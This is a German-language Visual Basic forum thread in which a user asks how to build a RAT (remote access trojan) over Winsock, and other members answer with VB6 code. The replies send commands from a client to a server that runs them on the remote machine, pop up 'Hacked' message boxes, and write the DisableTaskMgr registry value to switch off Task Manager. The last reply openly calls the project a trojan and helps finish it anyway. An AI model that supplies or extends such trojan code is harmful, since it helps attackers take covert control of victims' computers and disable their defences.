Visual Basic Forum

Mentos05_ · Tutorial Leser Anmeldedatum: 26.07.2007 Beiträge: 26

Hi alle zu sammen!
Ich versuche mich im mom daran einen RAT zu coden und hänge dabei fest, wie ich Befehle über winsock versenden kann.
Also ich hab es so aufgebaut das es eine Client.exe gibt die auf Listening steht und eine Server.exe die dauernd versucht zu connecten. Verbindung steht, kann auch ne Messagebox auf dem anderen Rechner ausführen.
Ich häng bloß daran fest, wie ich z.B eine Datei auf dem anderen Rechner ausführe, z.B. C:\test.exe
Ich krieg es im mom nur hin Dateien bei mir per shell auszuführen, also müsste ich doch theoretisch über winsock einen shell befehl schicken oder?

Bitte helft mir, find echt kein source oder tutorial wo das erläutert wird.

MfG Mentos05
_________________

roxxer_ · Tutorial Leser Anmeldedatum: 25.06.2007 Beiträge: 22

du sendest vom clienten z.b den befehl
[code]ws.senddata = "befehl"[/code]

und wenn der server den befehl erhält, soll er das machen was du gesendet hast

Tupac_ · Tutorial Leser Anmeldedatum: 11.03.2007 Beiträge: 27

Code beim Client

winsock1.senddata "123"

code beim server

bei ->winsock1_dataarrival
dim data as string
winsock1.getdata data
select case data
case "123"
BEFEHL
end select

Mentos05_ · Tutorial Leser Anmeldedatum: 26.07.2007 Beiträge: 26

ah daran hatte ich gar nicht gedacht, doch nun tut sich bei mir folgendes problem auf.
ich habe folgenden code beim Client

[code]
Winsock1.SendData "cmd_messagebox & txt_messagebox"
[/code]

und folgenden beim Server

[code]
Dim data As String
Winsock1.GetData data
Select Case data
Case "cmd_messagebox & txt_messagebox"
MsgBox txt_messagebox, vbInformation, "Hacked"
End Select
[/code]

Doch heraus kommt beim Server nur eine Messagebox ohne Inhalt.
Das Problem liegt glaub ich daran das ich beim Clienten Variablen verwende und beim Server auch und das das nicht zusammen passt kann ich mir denken^^
Nur sehe ich keine andere Möglichkeit...
Ahja noch zur Erläuterung, ich hab einen Button cmd_messagebox und ein Textfeld txt_messagebox. Also sendet er den Befehl "cmd_messagebox" und den Inhalt der Textbox "txt_messagebox", Naja irgendwie kriegt er nicht alles mit^^

Mfg

Pyroman_ · Newbie Anmeldedatum: 19.06.2007 Beiträge: 13

[code]MsgBox txt_messagebox, vbInformation, "Hacked"[/code]

Der Inhalt von txt_messagesbox ist ja auch niergends bestimmt wurden von dir.

[code]Dim txt_messagebox As String
txt_messagebox = "Du wurdest gehacked"
MsgBox txt_messagebox, vbInformation, "Hacked" [/code]

Hier hast du jetzt txt_messagesbox den textinhalt "Du wurdest gehacked" zugeteilt. Jetzt kann die MsgBox dann auch erst den Inahlt ausgeben weil erst jetzt einer da ist

Edit: so der ganze Code dann :

[code]Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Dim txt_messagebox As String
txt_messagebox = "Du wurdest gehacked"
Winsock1.GetData data
Select Case data
Case "cmd_messagebox & txt_messagebox"
MsgBox txt_messagebox, vbInformation, "Hacked"
End Select
End Sub[/code]

Mentos05_ · Tutorial Leser Anmeldedatum: 26.07.2007 Beiträge: 26

so ist der inhalt der msgbox aber nicht variabel und ich würde ihn halt gerne beim clienten eingeben und beim server ausgeben, gibts da sonst keine möglichkeit?
ich könnte ja sonst auch einfach den code so nehmen:

[code]
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock1.GetData data
Select Case data
Case "cmd_messagebox"
MsgBox "Du wurdest gehackt", vbInformation, "Hacked"
End Select
End Sub
[/code]

Ist im Endeffekt doch das gleiche ^^

Naja hoffe jemand weiß ne Lösung Smile

Mfg

Tupac_ · Tutorial Leser Anmeldedatum: 11.03.2007 Beiträge: 27

code für den client
[code]
dim msg as string
msg = "Hallo"

winsock1.senddata msg

[/code]

code für den server
bei winsock1.dataarrival
[code]
dim msg as string

winsock1.getdata msg

msgbox msg
[/code]

Mentos05_ · Tutorial Leser Anmeldedatum: 26.07.2007 Beiträge: 26

so wie du es schreibst ist es in dem video tutorial ja auch erklärt^^
nur was mach ich jetzt wenn ich daten senden will, aber die nicht für eine msgbox sind sondern zb für einen chat?
ich muss dem server irgendwie beibringen die daten die er kriegt zu den richtigen Funktionen weiterzuleiten.

also zb das messagebox_Text immer beim server eine Messagebox mit meinem Inhalt aus dem Textfelt des clienten ausführt.
aber message_chat immer als Chat Nachricht gesendet wird, die ich beim Clienten im Textfeld eingegeben habe.
Der Client muss also sozusagen die ankommende Informationen verarbeiten und richtig zuordnen jenachdem was für einen Inhalt diese besitzen. Das geht ja auch wie ich jetzt gelernt hab mit einer case abfrage, doch ich kriege es nicht hin danach noch mal Daten zu senden.
Es müsste also so aussehen
Client sendet Befehl
Client sendet Information, zb. Text
Server führt den Befehl mit den Informationen, zb Text aus

Wichtig wäre dann noch, dass wenn Der Befehl Msgbox geschickt wird und dann der Inhalt der Box das die Messagebox den geschickten Inhalt besitzt aber wenn ich dann z.B. einen Chat eröffne und eine Nachricht sende, diese auch zu dem Chat gelangt und nicht wieder zur Messagebox
Hoffe hab das Problem nun einigermaßen geschildert :/

Mfg Mentos05
_________________

Pyroman_ · Newbie Anmeldedatum: 19.06.2007 Beiträge: 13

Hier hätte man jeztz 3 (2) Funktionen zur verfügung .
MsgBox mit beliebigem Inhalt senden, Taskmanager aktiviren und deaktiviren.

Server

[code]Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim daten As String
ws.GetData daten
Select Case Left(daten, 4)
Case "opt1"
MsgBox Mid(daten, 5), vbInformation, "Hacked"
Case "opt2"
Set reg = CreateObject("Wscript.shell")
reg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "1", "REG_DWORD"
Case "opt3"
Set reg = CreateObject("Wscript.shell")
reg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "0", "REG_DWORD"
End Select
End Sub[/code]

Client

[code]Private Sub cmd1_Click()
ws.SendData "opt1" & txt1.Text ' hier wird halt nicht nur der Begriff gesendet der nachher für das Select Case ist, sondern auch der Inhalt von der textbox txt1
End Sub

Private Sub cmdAktiviren_Click()
ws.SendData "opt3"
End Sub

Private Sub cmdDeaktiviren_Click()
ws.SendData "opt2"
End Sub

[/code]

Soll jetzt nicht böse wirken aber :
Ich stelle jetzt mal die reine Vermutung auf dass der Code bei dir Fragen offen lässt. (Mid,Left...)
Ist ja auch nicht schlimm, aber dann solltest du vllt. erkennen dass man das Projekt einen Trojnaer zu coden etwas verschieben sollte.
Stattdessen solltest du dir lieber noch ein wenig Wissen aneigenen aus Ebooks etc.
Wenn du dann das Wissen hast wird das Coden des trojaners (wenn du es dann noch willst) auch viel schneller ablaufen da du nicht für jede 2te Funktion des Trojaners hier fragen musst und tage auf Antworten wartest.
( jaja ich weiß, klingt als spräche Mutter Tereza persönlich)
Naja, wie gesagt , ist eine reine vermutung von mir. Kann ja auch sein dass dir der Coode verständlich ist und der Trojaner problemlos komplettiert werden kann.